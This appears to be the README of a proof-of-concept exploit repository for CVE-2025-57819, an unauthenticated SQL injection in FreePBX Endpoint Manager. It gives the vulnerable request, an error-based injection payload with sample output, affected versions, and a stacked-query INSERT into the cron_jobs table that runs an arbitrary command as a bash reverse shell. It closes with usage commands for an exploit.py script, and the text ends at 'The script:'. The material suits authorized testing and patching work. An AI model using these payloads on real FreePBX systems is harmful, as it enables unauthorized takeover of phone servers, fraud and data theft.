b4sh2/cve-2025-57819-pocCVE-2025-57819 -> rce
One-shot exploit for the FreePBX Endpoint Manager unauthenticated SQL
injection (CVE-2025-57819), chained into remote code execution via the
FreePBX cron_jobs table.
For authorized security testing / CTF use only.
The endpoint module's ajax handler concatenates the brand parameter straight
into a SQL query, and the module path FreePBX\modules\endpoint\ajax bypasses
the ajax Referrer/authentication check. This gives an unauthenticated
error-based SQL injection (via EXTRACTVALUE), with stacked-query writes
enabled.
Injection point:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Proof (error-based readout):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Affected: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
The injection is read-only on its own, but stacked queries allow writes. FreePBX
runs jobs from the cron_jobs table via its cron manager, so inserting a row
yields arbitrary command execution (within ~60s, schedule * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
The injected command is a bash reverse shell. The cron row is removed automatically after the first callback to avoid repeated connections.
pip install requests urllib3
Python 3. The built-in IP detection (-i/--interface) is Linux-only; use
--ip on other platforms.
# Defaults: interface tun0, port 4444 — starts listener, exploits, drops a shell
python3 exploit.py http://{target}
# Pick a different interface / port
python3 exploit.py http://{target} -i eth0 -p 9001
# Set the listener IP explicitly
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
The script: